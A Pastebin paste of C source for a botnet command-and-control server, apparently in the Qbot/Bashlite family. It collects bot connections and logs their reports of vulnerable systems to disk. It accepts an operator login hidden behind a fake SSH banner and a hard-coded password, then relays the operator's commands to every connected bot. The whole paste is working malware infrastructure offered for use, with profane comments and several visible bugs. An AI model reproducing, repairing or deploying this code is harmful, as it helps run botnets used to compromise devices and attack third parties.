API tools faq
paste
Zekahs

Frieze server

Zekahs
Aug 4th, 2017
207
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.57 KB | None | 0 0
raw download clone embed print report
  1.  
  2.  
  3. // ██╗███╗ ██╗ ██████╗██╗ ██╗ ██╗██████╗ ███████╗███████╗ Fake it if you're out of direction
  4. // ██║████╗ ██║██╔════╝██║ ██║ ██║██╔══██╗██╔════╝██╔════╝ Fake it if you don't belong here
  5. // ██║██╔██╗ ██║██║ ██║ ██║ ██║██║ ██║█████╗ ███████╗ Fake it if you feel like infection
  6. // ██║██║╚██╗██║██║ ██║ ██║ ██║██║ ██║██╔══╝ ╚════██║ Woah you're such a fucking hypocrite
  7. // ██║██║ ╚████║╚██████╗███████╗╚██████╔╝██████╔╝███████╗███████║
  8. // ╚═╝╚═╝ ╚═══╝ ╚═════╝╚══════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <stdint.h>
  13. #include <inttypes.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <unistd.h>
  19. #include <time.h>
  20. #include <fcntl.h>
  21. #include <sys/epoll.h>
  22. #include <errno.h>
  23. #include <pthread.h>
  24. #include <signal.h>
  25. #include <arpa/inet.h>
  26.  
  27. #define MY_MGM_PASS "qDT1FQ6wZy" // modified by XORA, if you have this you shouldn't. Fuck you
  28.  
  29. #define MAXFDS 1000000
  30.  
  31. struct clientdata_t {
  32. char build[100];
  33. uint32_t ip;
  34. char connected;
  35. } clients[MAXFDS];
  36. struct telnetdata_t {
  37. int connected;
  38. } managements[MAXFDS];
  39. struct args {
  40. int sock;
  41. struct sockaddr_in cli_addr;
  42. };
  43. static volatile FILE *fileFD;
  44. static volatile int epollFD = 0;
  45. static volatile int listenFD = 0;
  46. static volatile int managesConnected = 0;
  47. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  48. {
  49. int total = 0, got = 1;
  50. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  51. return got;
  52. }
  53.  
  54. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  55. {
  56. int i;
  57. int begin = 0;
  58. int end = strlen(str) - 1;
  59. while (isspace(str[begin])) begin++;
  60. while ((end >= begin) && isspace(str[end])) end--;
  61. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  62. str[i - begin] = '\0';
  63. }
  64.  
  65. // ███╗ ██╗ ██████╗ ██████╗ ██╗ ██████╗ ██████╗██╗ ██╗
  66. // ████╗ ██║██╔═══██╗██╔══██╗██║ ██╔═══██╗██╔════╝██║ ██╔╝
  67. // ██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ██║██║ █████╔╝
  68. // ██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██║██║ ██╔═██╗
  69. // ██║ ╚████║╚██████╔╝██████╔╝███████╗╚██████╔╝╚██████╗██║ ██╗
  70. // ╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝
  71.  
  72. static int make_socket_non_blocking (int sfd)
  73. { // man fcntl
  74. int flags, s;
  75. flags = fcntl (sfd, F_GETFL, 0);
  76. if (flags == -1)
  77. {
  78. perror ("fcntl");
  79. return -1;
  80. }
  81. flags |= O_NONBLOCK;
  82. /*
  83. F_SETFL (int)
  84. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  85. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  86. */
  87. s = fcntl (sfd, F_SETFL, flags);
  88. if (s == -1)
  89. {
  90. perror ("fcntl");
  91. return -1;
  92. }
  93. return 0;
  94. }
  95.  
  96. // ██████╗██████╗
  97. // ██╔════╝██╔══██╗
  98. // ██║ ██████╔╝
  99. // ██║ ██╔══██╗
  100. // ╚██████╗██████╔╝
  101. // ╚═════╝╚═════╝
  102.  
  103. static int create_and_bind (char *port)
  104. {
  105. struct addrinfo hints;
  106. struct addrinfo *result, *rp;
  107. int s, sfd;
  108. memset (&hints, 0, sizeof (struct addrinfo));
  109. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  110. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  111. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  112. s = getaddrinfo (NULL, port, &hints, &result);
  113. if (s != 0)
  114. {
  115. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  116. return -1;
  117. }
  118. for (rp = result; rp != NULL; rp = rp->ai_next)
  119. {
  120. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  121. if (sfd == -1) continue;
  122. int yes = 1;
  123. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  124. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  125. if (s == 0)
  126. {
  127. break;
  128. }
  129. close (sfd);
  130. }
  131. if (rp == NULL)
  132. {
  133. fprintf (stderr, "Could not bind\n");
  134. return -1;
  135. }
  136. freeaddrinfo (result);
  137. return sfd;
  138. }
  139. void broadcast(char *msg, int us)
  140. {
  141. int sendMGM = 1;
  142. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  143. int i;
  144. for(i = 0; i < MAXFDS; i++)
  145. {
  146. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  147. if(sendMGM && managements[i].connected)
  148. {
  149. send(i, "\n", 0, MSG_NOSIGNAL);
  150. }
  151. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  152. if(sendMGM && managements[i].connected) {
  153. send(i, "\n", 0, MSG_NOSIGNAL);
  154. } else send(i, "\n", 1, MSG_NOSIGNAL);
  155. }
  156. }
  157.  
  158. // ███████╗██████╗ ██████╗ ██╗ ██╗
  159. // ██╔════╝██╔══██╗██╔═══██╗██║ ██║
  160. // █████╗ ██████╔╝██║ ██║██║ ██║
  161. // ██╔══╝ ██╔═══╝ ██║ ██║██║ ██║
  162. // ███████╗██║ ╚██████╔╝███████╗███████╗
  163. // ╚══════╝╚═╝ ╚═════╝ ╚══════╝╚══════╝
  164.  
  165. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  166. {
  167. struct epoll_event event;
  168. struct epoll_event *events;
  169. int s;
  170. events = calloc (MAXFDS, sizeof event);
  171. while (1)
  172. {
  173. int n, i;
  174. n = epoll_wait (epollFD, events, MAXFDS, -1);
  175. for (i = 0; i < n; i++)
  176. {
  177. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  178. {
  179. clients[events[i].data.fd].connected = 0;
  180. close(events[i].data.fd);
  181. continue;
  182. }
  183. else if (listenFD == events[i].data.fd)
  184. {
  185. while (1)
  186. {
  187. struct sockaddr in_addr;
  188. socklen_t in_len;
  189. int infd, ipIndex;
  190.  
  191. in_len = sizeof in_addr;
  192. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  193. if (infd == -1)
  194. {
  195. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  196. else
  197. {
  198. perror ("accept");
  199. break;
  200. }
  201. }
  202.  
  203. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  204.  
  205. int dup = 0;
  206. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  207. {
  208. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  209.  
  210. if(clients[ipIndex].ip == clients[infd].ip)
  211. {
  212. dup = 1;
  213. break;
  214. }
  215. }
  216.  
  217. if(dup)
  218. {
  219. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  220. close(infd);
  221. continue;
  222. }
  223.  
  224. s = make_socket_non_blocking (infd);
  225. if (s == -1) { close(infd); break; }
  226.  
  227. event.data.fd = infd;
  228. event.events = EPOLLIN | EPOLLET;
  229. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  230. if (s == -1)
  231. {
  232. perror ("epoll_ctl");
  233. close(infd);
  234. break;
  235. }
  236.  
  237. clients[infd].connected = 1;
  238. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  239. }
  240. continue;
  241. }
  242. else
  243. {
  244. int thefd = events[i].data.fd;
  245. struct clientdata_t *client = &(clients[thefd]);
  246. int done = 0;
  247. client->connected = 1;
  248. while (1)
  249. {
  250. ssize_t count;
  251. char buf[2048];
  252. memset(buf, 0, sizeof buf);
  253.  
  254. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  255. {
  256. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  257. trim(buf);
  258. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  259. {
  260. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  261. continue;
  262. }
  263. if(strstr(buf, "BUILD ") == buf)
  264. {
  265. char *build = strstr(buf, "BUILD ") + 99;
  266. if(strlen(build) > 99) { printf("build bigger then 99\n"); done = 1; break; }
  267. memset(client->build, 0, 100);
  268. strcpy(client->build, build);
  269. continue;
  270. }
  271. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  272. {
  273. char *line = strstr(buf, "REPORT ") + 7;
  274. fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  275. fflush(fileFD);
  276. continue;
  277. }
  278. if(strcmp(buf, "PONG") == 0)
  279. {
  280. //I didn't add any checks, saved for the future.
  281. continue;
  282. }
  283.  
  284. printf("buf: \"%s\"\n", buf);
  285. }
  286.  
  287. if (count == -1)
  288. {
  289. if (errno != EAGAIN)
  290. {
  291. done = 1;
  292. }
  293. break;
  294. }
  295. else if (count == 0)
  296. {
  297. done = 1;
  298. break;
  299. }
  300. }
  301.  
  302. if (done)
  303. {
  304. client->connected = 0;
  305. close(thefd);
  306. }
  307. }
  308. }
  309. }
  310. }
  311.  
  312. // ██████╗██╗ ██╗███████╗███╗ ██╗████████╗███████╗
  313. // ██╔════╝██║ ██║██╔════╝████╗ ██║╚══██╔══╝██╔════╝
  314. // ██║ ██║ ██║█████╗ ██╔██╗ ██║ ██║ ███████╗
  315. // ██║ ██║ ██║██╔══╝ ██║╚██╗██║ ██║ ╚════██║
  316. // ╚██████╗███████╗██║███████╗██║ ╚████║ ██║ ███████║
  317. // ╚═════╝╚══════╝╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝
  318.  
  319. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  320. {
  321. int i = 0, total = 0;
  322. for(i = 0; i < MAXFDS; i++)
  323. {
  324. if(!clients[i].connected) continue;
  325. total++;
  326. }
  327.  
  328. return total;
  329. }
  330.  
  331. static int *fdopen_pids;
  332.  
  333. int fdpopen(unsigned char *program, register unsigned char *type)
  334. {
  335. register int iop;
  336. int pdes[2], fds, pid;
  337.  
  338. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  339.  
  340. if (pipe(pdes) < 0) return -1;
  341. if (fdopen_pids == NULL) {
  342. if ((fds = getdtablesize()) <= 0) return -1;
  343. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  344. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  345. }
  346.  
  347. switch (pid = vfork())
  348. {
  349. case -1:
  350. close(pdes[0]);
  351. close(pdes[1]);
  352. return -1;
  353. case 0:
  354. if (*type == 'r') {
  355. if (pdes[1] != 1) {
  356. dup2(pdes[1], 1);
  357. close(pdes[1]);
  358. }
  359. close(pdes[0]);
  360. } else {
  361. if (pdes[0] != 0) {
  362. (void) dup2(pdes[0], 0);
  363. (void) close(pdes[0]);
  364. }
  365. (void) close(pdes[1]);
  366. }
  367. execl("/bin/sh", "sh", "-c", program, NULL);
  368. _exit(127);
  369. }
  370. if (*type == 'r') {
  371. iop = pdes[0];
  372. (void) close(pdes[1]);
  373. } else {
  374. iop = pdes[1];
  375. (void) close(pdes[0]);
  376. }
  377. fdopen_pids[iop] = pid;
  378. return (iop);
  379. }
  380.  
  381. int fdpclose(int iop)
  382. {
  383. register int fdes;
  384. sigset_t omask, nmask;
  385. int pstat;
  386. register int pid;
  387.  
  388. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  389. (void) close(iop);
  390. sigemptyset(&nmask);
  391. sigaddset(&nmask, SIGINT);
  392. sigaddset(&nmask, SIGQUIT);
  393. sigaddset(&nmask, SIGHUP);
  394. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  395. do {
  396. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  397. } while (pid == -1 && errno == EINTR);
  398. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  399. fdopen_pids[fdes] = 0;
  400. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  401. }
  402.  
  403. // ████████╗██╗ ██╗
  404. // ╚══██╔══╝██║ ██║
  405. // ██║ ██║ █╗ ██║
  406. // ██║ ██║███╗██║
  407. // ██║ ╚███╔███╔╝
  408. // ╚═╝ ╚══╝╚══╝
  409.  
  410. void *telnetWorker(void *arguments)
  411. {
  412. struct args *argument = arguments;
  413. int thefd = argument->sock;
  414. managesConnected++;
  415. pthread_t title;
  416. char buf[2048];
  417.  
  418. memset(buf, 0, sizeof buf);
  419. if(send(thefd, "SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u3\r\n", 39, MSG_NOSIGNAL) == -1) goto end;
  420. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  421. trim(buf);
  422. if(strcmp(buf, MY_MGM_PASS) != 0) goto end;
  423. memset(buf, 0, 2048);
  424. if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
  425. if(send(thefd, "\x1b[1m\x1b[34m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  426. if(send(thefd, "* \x1b[31mTHE WAR BEGINS\x1b[34m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  427. if(send(thefd, "*****************************************\r\n\r\n\x1b[34m \x1b[34m", 60, MSG_NOSIGNAL) == -1) goto end;
  428.  
  429. while(fdgets(buf, sizeof buf, thefd) > 0)
  430. {
  431. trim(buf);
  432. if(strlen(buf) == 0) continue;
  433. send(thefd, ":: ", 3, MSG_NOSIGNAL);
  434. if(strncmp(buf, "COUNT", 5) == 0){
  435. char buffer[2048];
  436. memset(buffer, 0, 2048);
  437. sprintf(buffer, "BOTS ONLINE: %d\r\n", clientsConnected(), managesConnected);
  438. send(thefd, buffer, strlen(buffer), MSG_NOSIGNAL);
  439. continue;
  440. }
  441. //LF
  442. FILE *logFile;
  443. logFile = fopen("/tmp/.log", "a");
  444. fprintf(logFile, "%s\n", buf);
  445. fclose(logFile);
  446. broadcast(buf, thefd);
  447. memset(buf, 0, 2048);
  448. }
  449. end:
  450. managements[thefd].connected = 0;
  451. close(thefd);
  452. managesConnected--;
  453. }
  454.  
  455. // ████████╗██╗
  456. // ╚══██╔══╝██║
  457. // ██║ ██║
  458. // ██║ ██║
  459. // ██║ ███████╗
  460. // ╚═╝ ╚══════╝
  461.  
  462. void *telnetListener(int port)
  463. {
  464. int sockfd;
  465. struct args arguments;
  466. socklen_t clilen;
  467. struct sockaddr_in serv_addr;
  468. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  469. if (sockfd < 0) perror("ERROR opening socket");
  470. bzero((char *) &serv_addr, sizeof(serv_addr));
  471. serv_addr.sin_family = AF_INET;
  472. serv_addr.sin_addr.s_addr = INADDR_ANY;
  473. serv_addr.sin_port = htons(port);
  474. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  475. listen(sockfd,5);
  476. clilen = sizeof(arguments.cli_addr);
  477. while(1)
  478. {
  479. arguments.sock = accept(sockfd, (struct sockaddr *)&arguments.cli_addr, &clilen);
  480. if (arguments.sock < 0) perror("ERROR on accept");
  481. pthread_t thread;
  482. pthread_create( &thread, NULL, telnetWorker, &arguments);
  483. }
  484. }
  485.  
  486. // ███╗ ███╗ █████╗ ██╗███╗ ██╗
  487. // ████╗ ████║██╔══██╗██║████╗ ██║
  488. // ██╔████╔██║███████║██║██╔██╗ ██║
  489. // ██║╚██╔╝██║██╔══██║██║██║╚██╗██║
  490. // ██║ ╚═╝ ██║██║ ██║██║██║ ╚████║
  491. // ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝
  492.  
  493. int main(int argc, char *argv[])
  494. {
  495. signal(SIGPIPE, SIG_IGN);
  496. int s, threads, port;
  497. struct epoll_event event;
  498. port = atoi(argv[3]);
  499. if (argc != 4)
  500. {
  501. fprintf (stderr, "%s <bot-port> <threads> <cnc-port>\n", argv[0]);
  502. exit (EXIT_FAILURE);
  503. }
  504. fileFD = fopen(".output.txt", "a+");
  505. threads = atoi(argv[2]);
  506.  
  507. listenFD = create_and_bind (argv[1]);
  508. if (listenFD == -1) abort ();
  509.  
  510. s = make_socket_non_blocking (listenFD);
  511. if (s == -1) abort ();
  512.  
  513. s = listen (listenFD, SOMAXCONN);
  514. if (s == -1)
  515. {
  516. perror ("listen");
  517. abort ();
  518. }
  519. epollFD = epoll_create1 (0);
  520. if (epollFD == -1)
  521. {
  522. perror ("epoll_create");
  523. abort ();
  524. }
  525.  
  526. event.data.fd = listenFD;
  527. event.events = EPOLLIN | EPOLLET;
  528. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  529. if (s == -1)
  530. {
  531. perror ("epoll_ctl");
  532. abort ();
  533. }
  534. pthread_t thread[threads + 2];
  535. while(threads--)
  536. {
  537. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  538. }
  539. pthread_create(&thread[0], NULL, &telnetListener, port);
  540.  
  541. while(1)
  542. {
  543. broadcast("PING", -1);
  544.  
  545. sleep(60);
  546. }
  547.  
  548. close (listenFD);
  549.  
  550. return EXIT_SUCCESS;
  551. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!